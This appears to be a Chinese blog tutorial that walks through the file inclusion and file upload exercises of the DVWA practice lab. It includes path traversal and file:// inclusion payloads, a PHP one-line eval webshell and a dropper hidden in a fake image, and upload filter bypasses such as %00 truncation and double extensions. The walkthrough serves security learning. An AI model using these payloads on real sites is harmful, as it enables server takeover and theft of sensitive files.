增加了str_replace()函数,把传入的url里面的http,https,../,..\  替换成空格,但是使用str_replace函数是不安全的,因为可以使用双写绕过替换规则

比如:http和https可以用hthttp://tp:给绕过,因为只是过滤了../和..\,所以可以用绝对路径进行绕过:?page=./..././..././../php.ini

选择high级别,看下代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

使用了fnmatch函数:fnmatch() 函数根据指定的模式来匹配文件名或字符串。

检查page参数,要求page参数的开头必须是file开头,服务器才回去包含,但是我们可以利用file协议绕过防护策略,然后再进行包含

payload:?page=file://D:/wamp/www/DVWA-1.9/php.ini

 最后看一下impossiable级别的代码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

可以看到代码很简洁,page参数只能是"include.php","file1.php","file2.php","file3.php"

 否则直接exit。彻底不能文件包含了。

最后的最后再分享个文件包含的渗透小技巧

***读取敏感文件是文件包含漏洞的主要利用方式之一,比如服务器采用Linux系统,而用户又具有相应的权限,那么就可以利用文件包含漏洞去读取/etc/passwd文件的内容。

系统中常见的敏感信息路径如下:windows系统

linux系统

***文件包含漏洞的主要利用方式是配合文件上传。比如大多数网站都会提供文件上传功能,但一般只允许上传jpg或gif等图片文件,通过配合文件包含漏洞就可以在网站中生成一句话木马网页文件。
比如,在记事本中写入下面这段代码,并将之保存成jpg文件。

<?php
fwrite(fopen("orange.php","w"),'<?php @eval($_POST[orange]);?>');
?>

可以成功进行包含,并且得到了一个orange.php一句话木马文件,密码是orange。进而进行下一步攻击。

 

文件上传审计

其实个人认为文件上传黑盒测试的时候姿势特别多,白盒测试的时候除了明显的限制上传文件的类型外,白盒审计不如黑盒测试来的"刺激"。

文件上传应该是最常用的漏洞了,上传函数就那一个 move_uploaded_file();一般来说找这个漏洞就是直接ctrl+f 直接开搜。遇到没有过滤的直接传个一句话的webshell上去。

上传的漏洞比较多,Apache配置,iis解析漏洞等等。在php中一般都是黑白名单过滤,或者是文件头,content-type等等。一般来找上传的过滤函数进行分析就行。

(1) 未过滤或本地过滤:服务器端未过滤,直接上传PHP格式的文件即可利用。

(2) 黑名单扩展名过滤:限制不够全面:IIS默认支持解析.asp,.cdx, .asa,.cer等。不被允许的文件格式.php,但是我们可以上传文件名为1.php (注意后面有一个空格)

(3) 文件头 content-type验证绕过:getimagesize()函数:验证文件头只要为GIF89a,就会返回真。限制$_FILES["file"]["type"]的值 就是人为限制content-type为可控变量。

(4)过滤不严或被绕过:比如大小写问题,网站只验证是否是小写,我们就可以把后缀名改成大写。

(5)文件解析漏洞:比如 Windows 系统会涉及到这种情况:文件名为1.php;.jpg,IIS 6.0 可能会认为它是jpg文件,但是执行的时候会以php文件来执行。我们就可以利用这个解析漏洞来上传。再比如 Linux 中有一些未知的后缀,比如a.php.xxx。由于 Linux 不认识这个后缀名,它就可能放行了,攻击者再执行这个文件,网站就有可能被控制。

(6)路径截断:就是在上传的文件中使用一些特殊的符号,使文件在上传时被截断。比如a.php%00.jpg,这样在网站中验证的时候,会认为后缀是jpg,但是保存到硬盘的时候会被截断为a.php,这样就是直接的php文件了。常用来截断路径的字符是:\0  , ?  ,  %00  ,   也可以超长的文件路径造成截断。

(4)等等等等,以后慢慢补充

忘了编译器了,编辑器漏洞和文件上传漏洞原理一样,只不过多了一个编辑器。上传的时候还是会把我们的脚本上传上去。不少编译器本身就存在文件上传漏洞,举个栗子:进入网站后台后如果找不到上传的地方或者其他姿势不好使的时候,就可以从编译器下手进行上传,从而GETSHELL。常见的编译器有:Ewebeditor,fckeditor,ckeditor,kindeditor等等。百度搜索各种编译器利用的相关姿势。网上很多这里就不写了。

先了解一下PHP通过$_FILES对象来读取文件,以便于下面的理解

PHP中通过$_FILES对象来读取文件,通过下列几个属性:

  • $_FILES[file]['name'] - 被上传文件的名称。

  • $_FILES[file]['type'] - 被上传文件的类型。

  • $_FILES[file]['size'] - 被上传文件的大小(字节)。

  • $_FILES[file]['tmp_name'] - 被上传文件在服务器保存的路径,通常位于临时目录中。

  • $_FILES[file]['error'] - 错误代码,0为无错误,其它都是有错误。

DVWA分析

选择low级别,先进行黑盒测试一下,直接上传个php一句话:<?php @eval($_POST["orange"]); ?>

看到上传成功,路径(http://127.0.0.1/DVWA-1.9/hackable/uploads/upload.php),

 看一下代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

 不懂上面的函数什么意思可以百度一下,

basename()函数:basename(path,suffix)   ,    basename() 函数返回路径中的文件名部分。如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。move_uploaded_file()函数:move_uploaded_file(file,newloc)    ,   move_uploaded_file() 函数将上传的文件移动到新位置。若成功,则返回 true,否则返回 false。本函数检查并确保由 file 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 newloc 指定的文件。

分析:DVWA_WEB_PAGE_TO_ROOT为网页的根目录,target_path变量为上传文件的绝对路径,basename( $_FILES['uploaded']['name'])将文件中已经“uploaded”的文件的名字取出并加入到target_path变量中。if语句判断文件是否上传到指定的路径中,若没有则显示没有上传。

可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,所以可以上传任意文件,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

选择mediem级别,看下代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

可以看到对上传的类型和大小加以限制,限制文件类型必须是image/jpeg和image.png,并且上传文件的大小小于100000(97.6KB)

但是简单地设置检测文件的类型,因此可以通过burpsuite来修改文件的类型进行过滤即可

我们可以通过burpsuite抓包修改文件类型,具体如下图所示,通过抓包上传upload.php,把.php文件成功上传(上传的png文件是小于97.6KB的)

注:这里也是可以利用%00截断上传,讲下图中的upload.png改成upload.php%00.png就可以突破限制,成功上传。

选择high级别,看下代码

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

分析:strrpos(string,find,start)

函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。

getimagesize(string filename)

函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。

可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。

用图片马进行绕过,抓包修改,把"phptupianma.png"改为"phptupianma.php.png"

在本来的文件名的文件名称和后缀名之间加上php的后缀形式,使其位于中间位置,以便于使其在服务器端当作php文件来执行,这样就可以成功上传。

还有其他漏洞类型的审计,以后会慢慢补充......

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值